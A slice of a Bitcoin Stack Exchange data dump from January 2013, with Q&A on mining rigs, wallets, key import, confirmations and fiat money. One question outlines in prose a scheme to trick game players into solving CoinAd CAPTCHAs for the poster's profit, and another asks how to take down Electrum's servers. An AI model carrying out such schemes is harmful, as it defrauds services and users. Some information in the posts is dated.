  <row Id="7292" PostTypeId="2" ParentId="7286" CreationDate="2013-01-26T10:30:05.643" Score="4" Body="&lt;p&gt;Build in a reliable entropy function to take account of natural decrement in value over time. All value degrades in nature, and this is the fundamental problem with money in that it can be hoarded without cost.&#xA;Not sure how this would be implemented, it does dig at the root of the basic theory of money and value but that is what we are attempting to achieve so why not look at it.&lt;/p&gt;&#xA;" OwnerUserId="2735" LastActivityDate="2013-01-26T10:30:05.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7293" PostTypeId="2" ParentId="7276" CreationDate="2013-01-26T14:34:49.410" Score="0" Body="&lt;p&gt;1) Shut down app&#xA;2) Start it in the command prompt as follows: bitcoin-qt -rescan&#xA;3) Wait for the process to finish as this may take a while&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2013-01-26T14:34:49.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7294" PostTypeId="1" CreationDate="2013-01-26T15:36:19.217" Score="5" ViewCount="515" Body="&lt;p&gt;What would be the easiest/quickest way to get somebody who isn't computer-literate set up to have the ability to transfer money to me via Bitcoin? Also, Bitcoin touts that it is anonymous. Is it any more anonymous or untraceable than a simple cash transaction?&lt;/p&gt;&#xA;" OwnerUserId="2738" LastEditorUserId="2738" LastEditDate="2013-01-26T17:32:14.950" LastActivityDate="2013-07-11T07:58:49.353" Title="Easiest way to set up non computer-literate person with Bitcoin" Tags="|transactions|exchanges|legal|privacy|websites|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7295" PostTypeId="1" CreationDate="2013-01-26T16:11:02.777" Score="1" ViewCount="988" Body="&lt;p&gt;I have researched bitcoin mining for a while, and i have decided that i want to build a dedicated miner. Since i am very low on budget, I thought that maybe i could use an old computer that i have in my house for the motherboard and CPU requirements, and by only a GPU. My old computer has an AsusTek computer inc P5S800-VM motherboard, featuring an Intel Pentium 4 processor. Link:&#xA;&lt;a href=&quot;http://www.asus.com/Motherboard/P5S800VM/&quot; rel=&quot;nofollow&quot;&gt;http://www.asus.com/Motherboard/P5S800VM/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add an ATI GPU to this system and make it work as a miner? Thanks for any responses, and sorry if i was not clear enough - i am quite new to this field.&lt;/p&gt;&#xA;" OwnerUserId="2739" LastEditorUserId="5406" LastEditDate="2016-01-23T12:58:11.283" LastActivityDate="2016-01-23T12:58:11.283" Title="Could i build a mining rig with these parts?" Tags="|mining-setup|cpu-mining|mining-hardware|gpu-mining|gpu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7296" PostTypeId="2" ParentId="7295" CreationDate="2013-01-26T17:01:44.057" Score="3" Body="&lt;p&gt;I have to say you did not research Bitcoin mining enough. Mining on a GPU is obsolete, reports say ASIC-based mining devices with x40 the performance have already started shipping.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-26T17:01:44.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7297" PostTypeId="2" ParentId="7294" CreationDate="2013-01-26T17:08:53.590" Score="1" Body="&lt;p&gt;The easiest way would be to create an online wallet on blockchain.info, and use one of the easy deposit features it offers. This however is impractical both for traceability (his, not yours), and for fees (which might even be higher than the taxes AFAIK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, bear in mind that usually you might convince people to use bitcoins when &lt;em&gt;they&lt;/em&gt; have something to gain, not when &lt;em&gt;you&lt;/em&gt; do: consider carefully &lt;em&gt;why&lt;/em&gt; should they do it before asking them to.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-01-26T19:40:33.927" LastActivityDate="2013-01-26T19:40:33.927" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7298" PostTypeId="1" CreationDate="2013-01-26T19:02:26.057" Score="1" ViewCount="253" Body="&lt;p&gt;How hard would it be to successfully attack (all) the Electrum backend servers? I think there is about a handful of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would consider an attack successful that stops Electrum from working for a day or so.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-01-27T00:47:37.180" Title="DDOS Safety Electrum?" Tags="|electrum|attack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7299" PostTypeId="1" AcceptedAnswerId="7958" CreationDate="2013-01-26T20:37:09.470" Score="8" ViewCount="3464" Body="&lt;p&gt;I am looking into implementing support for compressed public keys on &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vanity Pool&lt;/a&gt;. However, I have my concerns about importing solutions into a desired vanity address under that format. From what I can see about the explanation how &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3839/323&quot;&gt;a compressed key format works&lt;/a&gt;, it appears that one private key can map into two different Bitcoin Addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to specify in the Standard Client which format is to be used for importing, or will one of the formats be preferred all the time?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-03-02T15:32:33.357" Title="When importing private keys, will compressed or uncompressed format be used?" Tags="|bitcoin-core|private-key|vanity-address|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7300" PostTypeId="1" AcceptedAnswerId="7302" CreationDate="2013-01-26T21:31:38.890" Score="1" ViewCount="278" Body="&lt;p&gt;I often encounter articles where we talk about bitcoin being a fiat currency. What is a fiat money and what is it that bitcoin as to be considered a fiat money.&lt;/p&gt;&#xA;" OwnerUserId="845" LastEditorUserId="845" LastEditDate="2013-01-27T00:18:05.000" LastActivityDate="2013-01-27T00:18:05.000" Title="Is Bitcoin a fiat currency?" Tags="|currencies|" AnswerCount="1" CommentCount="0" ClosedDate="2013-01-26T22:32:08.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="7301" PostTypeId="2" ParentId="7295" CreationDate="2013-01-26T21:35:16.203" Score="3" Body="&lt;p&gt;First the bad news: your Motherboard appears not to have a PCI-E Slot, which is required to fit any modern GPU. On the other hand for the price of a single GPU you can order more than 1 ASIC miner with lower power consumption, i.e., cheaper to run, and more computational power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd wait until the first ones actually ship, though.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-26T21:35:16.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7302" PostTypeId="2" ParentId="7300" CreationDate="2013-01-26T21:52:42.593" Score="5" Body="&lt;p&gt;Fiat money is money that derives its value from government regulation or law. The term fiat currency is used when the fiat money is used as the main currency of the country. The term derives from the Latin fiat (&quot;let it be done&quot;, &quot;it shall be&quot;).&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2013-01-26T21:52:42.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7303" PostTypeId="2" ParentId="7298" CreationDate="2013-01-27T00:47:37.180" Score="4" Body="&lt;p&gt;I'm not exactly sure if this is what you're asking; nevertheless the wiki says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transactions are signed locally: Your private keys are not shared with the server. You do not have to trust the server with your money.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Freedom and Privacy: The server does not store user accounts. You are not tied to a particular server, and the server does not need to know you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems the storage of your keys is client-side, so if they were to get (D)DoS'd you could easily move you keys to another wallet.&lt;/p&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2013-01-27T00:47:37.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7304" PostTypeId="2" ParentId="6105" CreationDate="2013-01-27T01:34:07.757" Score="2" Body="&lt;p&gt;Yes. Simplify go into the Bitcoin folder and copy every thing to the new computer. (Make sure you keep wallet.dat safe)&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-01-27T01:34:07.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7307" PostTypeId="1" AcceptedAnswerId="7326" CreationDate="2013-01-27T05:41:21.080" Score="4" ViewCount="361" Body="&lt;p&gt;So we're all aware of services like &lt;a href=&quot;http://coinad.com&quot; rel=&quot;nofollow&quot;&gt;CoinAd&lt;/a&gt;, but what if someone took advantage of that? Imagine if someone had a video game on facebook or something and had people fill out a CAPTCHA before they could play... couldn't someone really just ajax a separate, custom server that curl'd coinAd, kept the session alive, passed the image generated by google to the user, have them fill it out, then pass the answer back to coinAd, and inserting their own BTC address? &lt;strong&gt;Couldn't someone decieve people into giving them a BTC charity?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's &quot;limited&quot; to one address per hour per user or whatever, but if you played it smart, you could have thousands of addresses and make thousands of users with thousands of email addresses. You could even shard the servers around the world so that you won't have one ip address. Heck, I bet you could even put it on the user's own computer in an  with display:none!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although coinad's rate is only .00005 BTC (~1/1000th of $0.01), but if you get 20,000 users on your facebook game, you'd make $100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm saying is, is it illegal to take advantage of this (technically speaking) give-away? ;)&lt;/p&gt;&#xA;" OwnerUserId="2745" LastEditorUserId="516" LastEditDate="2013-01-28T00:44:17.183" LastActivityDate="2013-01-28T03:40:34.950" Title="Bitcoin charity fraud - is it illegal?" Tags="|legal|script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7309" PostTypeId="1" AcceptedAnswerId="7333" CreationDate="2013-01-27T06:44:49.730" Score="1" ViewCount="733" Body="&lt;p&gt;Doing some ecommerce stuff &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not a c++ guy..I know in C# this is all doable &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the client support or could it support a RPC call on an open port to add an Address &amp;amp; label pair with an Amount &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e ComputerWorld Order (5 x 7970) Order# 3340 100.5 BTC &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have an Do you want to allow confirmation yes/No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would then allow a 1 step process for users top purchase goods online instead of copy paste etc &lt;/p&gt;&#xA;" OwnerUserId="2464" LastActivityDate="2013-01-28T12:13:32.903" Title="Add an Address with Label to Send Coins Address Book via a RPC call" Tags="|transactions|client|commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7310" PostTypeId="2" ParentId="7286" CreationDate="2013-01-27T06:58:44.327" Score="4" Body="&lt;p&gt;I speak from the point of view as a middle-aged (Born 1968) investor; I think the answer to the question is quite simple. You cannot simply consider the start point and end point in asking the question. Along the way the price will gradually appreciate and most people have a price at which they will start to sell their Bitcoins. Currently I hold about 630 BTC. I acquired these over the past 18 months as I gradually poured about $6000 cash into the Bitcoin exchanges. At todays price I would get about $11000 if I sold them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;August 2012, I took most of my BTC and invested in a BTC mining fund that pays around 5 BTC a month dividends. At todays exchange rates I could convert this to $85.00 a month. Currently I convert none of this back to fiat because my goal is to save for retirement, and I believe in BTC so I let it ride.  At some point in the future as Bitcoin becomes more valuable, one BTC will be worth say $1000.00. My 5 BTC a month dividends would yield $5000 a month. At that point (actually probably before) I will be using some of that to fund retirement expenses. I will sell that portion on an exchange (or better yet directly trade with a merchant) to provide the real world products etc. that I need to live on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of coarse those BTC would be worth even more in the future, but we all need to live and we all have limited lifespans, so at some point we will sell to provide for our needs. Actually this is true of any investment that will appreciate at a level above inflation. For example stock investments on average pay around 8% a year in the long run and inflation averages around 3% in the long run. If you have a diversified portfolio, no matter what it will be worth more in the long term future. All the time though investors are selling in order to fund their basic needs. This will be true of Bitcoin as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people simply hoarded BTC then there would be none available on the exchanges. 6 Blocks are created each hour X 24 hours X 25 BTC per block yields 3600 BTC created per day. 30 days X 3600 yields about 108,000 BTC mined per month. The current 30 day volume on Mt Gox is over a million BTC (&lt;a href=&quot;http://www.bitcoincharts.com/markets/mtgoxUSD.html&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoincharts.com/markets/mtgoxUSD.html&lt;/a&gt;), this would not be possible if people simply were hoarding them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one thinks about it, the actual value of BTC (or any currency) actually comes from the fact that people are willing to trade it for real world goods/services. Some people may hold larger amounts of BTC just like some people hold larger amounts of investments or cash in accounts. Hoarding will not be a problem as long as some people are willing to trade other items for BTC.&lt;/p&gt;&#xA;" OwnerUserId="2747" LastActivityDate="2013-01-27T06:58:44.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7311" PostTypeId="1" AcceptedAnswerId="7392" CreationDate="2013-01-27T07:19:37.043" Score="26" ViewCount="17031" Body="&lt;p&gt;Where and how do you view and select which transactions to include in the block you are trying to create?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you look on the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some tool that you can use that allows you to see the fees as well?&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="5406" LastEditDate="2016-03-07T10:23:39.893" LastActivityDate="2021-02-13T17:45:47.053" Title="How do miners select which transactions to include in a block?" Tags="|transaction-fees|transaction-selection|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7312" PostTypeId="1" AcceptedAnswerId="7352" CreationDate="2013-01-27T08:44:17.347" Score="2" ViewCount="2567" Body="&lt;p&gt;I know you can create &lt;strong&gt;label&lt;/strong&gt; / &lt;strong&gt;address&lt;/strong&gt; pairs to &lt;strong&gt;receive&lt;/strong&gt; coins and also that a wallet automatically generates a new address when you need change from a transaction for the receive operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will there only ever be one send address for any given wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on the &lt;strong&gt;blockchain&lt;/strong&gt; all my send transactions will only ever have the one address even though I can and will have multiple receive addresses?&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="196" LastEditDate="2013-01-30T14:26:30.957" LastActivityDate="2013-01-30T14:26:30.957" Title="Is there only ever 1 send address for a wallet" Tags="|transactions|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7313" PostTypeId="2" ParentId="7312" CreationDate="2013-01-27T08:57:44.650" Score="2" Body="&lt;p&gt;It doesn't work that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any address can send and receive. Since you'll receive coins on multiple addresses, sooner or later you will have to use those addresses to &lt;em&gt;send&lt;/em&gt; too, in order to spend those coins.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-27T08:57:44.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7314" PostTypeId="2" ParentId="7169" CreationDate="2013-01-27T09:31:48.797" Score="4" Body="&lt;p&gt;The only problem with this is that someone at Mt. Gox could potentially know or discover the symmetric key for the YubiKey you purchased through them.  The keys loaded onto YubiKeys purchased directly from Yubico are neither available to Yubico employees nor to you, the user, and are stored securely with Yubico via their YubiHSM devices.  Mt. Gox may be using similar hardware to secure the keys for their YubiKeys, but we don't know how securely their YubiKeys are programmed or exactly how the keys are stored by Mt. Gox.  Without this knowledge, which we have with reasonable certainty in the case of YubiKeys straight from Yubico, we can assume that the YubiKeys sold my Mt. Gox are either as secure as those sold by Yubico or less secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is that Mt. Gox insists on programming their branded YubiKeys themselves so that they do not depend on Yubico's YubiCloud service for their customers' ability to authenticate with their servers.  Right now, YubiCloud authentication is free, and Yubico offers a paid option that guarantees YubiCloud uptime and availability, but IMHO the SLA price is high (right now $3/YubiKey/year).  This way, Mt. Gox can take it upon themselves to guarantee availability of the YubiKey authentication service and not depend on Yubico at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree that it would be nice if we could use our own (non-MtGox-branded) YubiKeys with their service.  One of the problems with regular old passwords is that you have to have so many of them to make sure that the compromise of one doesn't affect all the others.  Strong two-factor authentication devices like YubiKeys were supposed to partially solve this problem, but now we're seeing an increasing number of services that require you to purchase a specially-branded YubiKey to work with their servers.  The resulting keychainfull of YubiKeys is arguably worse (and definitely more expensive) than a USB drive full of passwords.&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2013-01-27T09:31:48.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7315" PostTypeId="2" ParentId="4911" CreationDate="2013-01-27T10:37:25.573" Score="1" Body="&lt;p&gt;Le Bitcoin Book (in French) written by Pierre Noizat is available here:&#xA;&lt;a href=&quot;http://www.lulu.com/shop/pierre-noizat/bitcoin-book/paperback/product-20477450.html&quot; rel=&quot;nofollow&quot;&gt;http://www.lulu.com/shop/pierre-noizat/bitcoin-book/paperback/product-20477450.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Published under creative commons license.&lt;/p&gt;&#xA;" OwnerUserId="1657" LastActivityDate="2013-01-27T10:37:25.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7317" PostTypeId="1" AcceptedAnswerId="14059" CreationDate="2013-01-27T12:27:26.993" Score="1" ViewCount="994" Body="&lt;p&gt;I've been reading a lot about bitcoin lately and I'm very interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially, when it comes to making a currency that is way more fair, because it avoids a centralized control of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the same way today's banks/centralbanks/FED/regulators benefit from how the current monetary system works, wouldn't an economy solely based on bitcoin make the big IT corporations take advantage of everyone due to their computing (mining) power?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cannot we build a currency that is decentralized like bitcoin, but that doesn't have the &quot;mining&quot; part of it? (I know that mining concept is very tied to cryptography, but maybe a less cryptographic-centric system can be built, like one based on trust/untrust between nodes?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much, and sorry if this has already been asked, but it's difficult to look for a question like this.&lt;/p&gt;&#xA;" OwnerUserId="2751" LastEditorUserId="5406" LastEditDate="2016-03-06T19:12:19.020" LastActivityDate="2021-01-03T15:31:06.583" Title="Is mining the unfair part of bitcoin in the same way banks (or rather, fractionary reserve systems) are to current monetary system?" Tags="|mining-hardware|proof-of-work|banks|decentralization|consensus|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7318" PostTypeId="2" ParentId="7317" CreationDate="2013-01-27T12:38:37.553" Score="0" Body="&lt;p&gt;I'm sorry but this question doesn't make much sense, I guess you need to read more about Bitcoin, since you have no idea what mining is and why it is the core of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hints:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Anyone can mine, if they bother to get the proper equipment: this can't happen with traditional banks&lt;/li&gt;&#xA;&lt;li&gt;Mining is the core of Bitcoin and can't be taken out of the equation, you would need to invent &lt;em&gt;everything&lt;/em&gt; from scratch, good luck&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-27T12:38:37.553" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7320" PostTypeId="1" AcceptedAnswerId="7321" CreationDate="2013-01-27T20:30:15.597" Score="5" ViewCount="798" Body="&lt;p&gt;Is it legal to use bitcoin in a domain name? Not a sub domain, but in the main domain name.&lt;/p&gt;&#xA;" OwnerUserId="2755" LastEditorUserId="45390" LastEditDate="2017-03-05T22:25:47.463" LastActivityDate="2022-01-09T14:38:42.550" Title="Is it legal to use bitcoin in a domain name?" Tags="|legal|domain-registering|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7321" PostTypeId="2" ParentId="7320" CreationDate="2013-01-27T22:01:47.603" Score="5" Body="&lt;p&gt;&lt;strong&gt;To date, no entity has trademarked word &quot;Bitcoin&quot; in the US.&lt;/strong&gt; This means that it's highly unlikely that any US entity would file against your domains under the &lt;a href=&quot;http://www.icann.org/en/help/dndr/udrp&quot; rel=&quot;noreferrer&quot;&gt;ICANN Uniform Domain-Name Dispute-Resolution Policy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a &lt;a href=&quot;http://tess2.uspto.gov/bin/showfield?f=doc&amp;amp;state=4010:2umkik.2.5&quot; rel=&quot;noreferrer&quot;&gt;servicemark application for Bitcoin&lt;/a&gt;, but it was abandoned in July 2011.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related trademark applications&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitpay applied for &lt;a href=&quot;http://tess2.uspto.gov/bin/showfield?f=doc&amp;amp;state=4010:2umkik.2.4&quot; rel=&quot;noreferrer&quot;&gt;Merchant Solutions for the bitcoin currency&lt;/a&gt; and &lt;a href=&quot;http://tess2.uspto.gov/bin/showfield?f=doc&amp;amp;state=4010:2umkik.2.3&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Merchant Solutions&lt;/a&gt;, both also abandoned.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is one for &lt;a href=&quot;http://tess2.uspto.gov/bin/showfield?f=doc&amp;amp;state=4010:2umkik.2.2&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin appliance&lt;/a&gt;, also abandoned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://tess2.uspto.gov/bin/showfield?f=doc&amp;amp;state=4010:2umkik.2.1&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Magazine&lt;/a&gt; applied for a trademark, and it's still in processing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-27T22:01:47.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7322" PostTypeId="2" ParentId="7317" CreationDate="2013-01-27T23:01:02.033" Score="1" Body="&lt;p&gt;The goal of Bitcoin is to provide an online currency system with various neat properties, and block rewards for mining was considered to be the best possible (but far from perfect) way of getting users to initially buy in to the concept and make it popular enough to survive. It seems to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block rewards are decreasing over time, and actually it doesn't really matter who gets them as long as nobody can pull off a 51% attack. The great thing about Bitcoin is that we get a new currency out of it that can provide online transactions far cheaper than credit cards and without the risk of reversal (and there are a whole lot of other advantages too).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-01-27T23:01:02.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7323" PostTypeId="1" AcceptedAnswerId="7325" CreationDate="2013-01-27T23:10:40.477" Score="12" ViewCount="131195" Body="&lt;p&gt;Hi! Based on your experience, how long does it take to receive one confirmation for any given transaction which has payed the standard miner's fee? Is it still reversible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2015-07-20T12:18:21.127" Title="How long does it take on average to receive one confirmation? Is it still reversible?" Tags="|transactions|revert-transaction|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7324" PostTypeId="1" CreationDate="2013-01-27T23:27:51.430" Score="1" ViewCount="2871" Body="&lt;p&gt;I use &lt;a href=&quot;http://guiminer.org/&quot; rel=&quot;nofollow&quot;&gt;GUIMiner&lt;/a&gt; to mine bitcoins using my graphics card, and in a pool.&#xA;I've upgraded to Windows 8 this morning, but now GUIMiner won't launch!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I get is the icon in the taskbar for a few seconds, and it disapears. I have no error message, no windows, and no error logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried launching the application as an administrator, and in &quot;Windows&amp;nbsp;XP&quot; and &quot;Windows&amp;nbsp;7&quot; compatibility modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="1782" LastEditorUserId="1405" LastEditDate="2014-05-29T12:25:23.813" LastActivityDate="2014-05-29T12:25:23.813" Title="Doesn't GUIMiner work on Windows 8?" Tags="|windows|" AnswerCount="0" CommentCount="7" ClosedDate="2013-02-14T16:50:28.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="7325" PostTypeId="2" ParentId="7323" CreationDate="2013-01-27T23:39:51.383" Score="13" Body="&lt;p&gt;A Bitcoin transaction, by design, will &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3909/516&quot;&gt;get one confirmation after an average of 10 minutes&lt;/a&gt;. Even before a confirmation has been received, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4514/516&quot;&gt;a transaction is generally irreversible&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to send a second (double-spend) transaction, using the same inputs as a transaction you've previously sent, I suppose there might be some custom-developed nodes that would give it priority if the transaction fee was higher than the first transaction. However, I believe most nodes would reject the second transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one of these (corrupt?) custom-developed nodes was to solve a block including the second transaction, my understanding is that the network would accept the block and thus accept the second transaction. This question has been asked separately, here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3616/516&quot;&gt;Does any pool accept higher-fee transactions of a double spend, instead of the earlier one?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's worth mentioning that &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4683/516&quot;&gt;standard nodes will not relay the second transaction&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-01-28T00:13:39.807" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7326" PostTypeId="2" ParentId="7307" CreationDate="2013-01-28T00:26:56.437" Score="4" Body="&lt;p&gt;If you were smart enough to set up the system you describe, you'd have far easier ways to earn $100!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such activity would show up in statistics as a significant drop in ad clicks or similar measurements. If the operator of the site is canny, they could start to make regular (even automated) changes to the site design to make it tougher to parse. It's a cat and mouse game I guess in a similar way to malware and anti-malware software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dropped the profitability of the site too much, I'm sure it would close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question discusses the legality of fraud relating to Bitcoin:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4306/is-performing-a-51-attack-double-spend-on-bitcoin-illegal/4307#4307&quot;&gt;Is performing a 51% attack / double spend on Bitcoin illegal?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-01-28T03:40:34.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7327" PostTypeId="1" AcceptedAnswerId="7329" CreationDate="2013-01-28T02:32:34.093" Score="4" ViewCount="2582" Body="&lt;p&gt;I'm trying to take an address from my Satoshi client and transfer it into my new MultiBit client. I have found several questions similar to this, and have tried all their solutions, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the basic process I go through: (Note: The address &amp;amp; private key I use in the example are empty; made for this example)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On the Satoshi client, I go to the console and type: &lt;code&gt;dumpprivkey 16tTCqoguKk7ZvLXsUyUE5JKJQ2VMDpCQj&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I get the private key&#xA;&lt;code&gt;KzD6eDjxCwPf8YTGiGhNWAyg4HU4H6iWXYEqCyKGhH8Dy9ZKhdui&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I confirm on &lt;a href=&quot;http://www.bitadress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt; that the private key does indeed output the public key above.&lt;/li&gt;&#xA;&lt;li&gt;I then export the private keys on MultiBit (Version 0.4.19 BTW), and add the private key listed above into the exported file.&lt;/li&gt;&#xA;&lt;li&gt;Importing the private keys back, the public address &lt;code&gt;1GWqf362pUzGfrZ7K7Thazd27aRBsakGcX&lt;/code&gt; is imported, rather than &lt;code&gt;16tTCqoguKk7ZvLXsUyUE5JKJQ2VMDpCQj&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not exactly sure if I'm doing something wrong, or the problem is some sort of bug in the software...&#xA;Please excuse me if I sound &quot;Bitcoin-Illiterate&quot;, I'm kinda new to this stuff.&lt;/p&gt;&#xA;" OwnerUserId="2757" LastEditorUserId="516" LastEditDate="2013-01-28T03:28:23.907" LastActivityDate="2013-10-01T21:49:07.073" Title="How to transfer addresses from Satoshi client to MultiBit?" Tags="|bitcoin-core|private-key|import|multibit|private-key-export|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
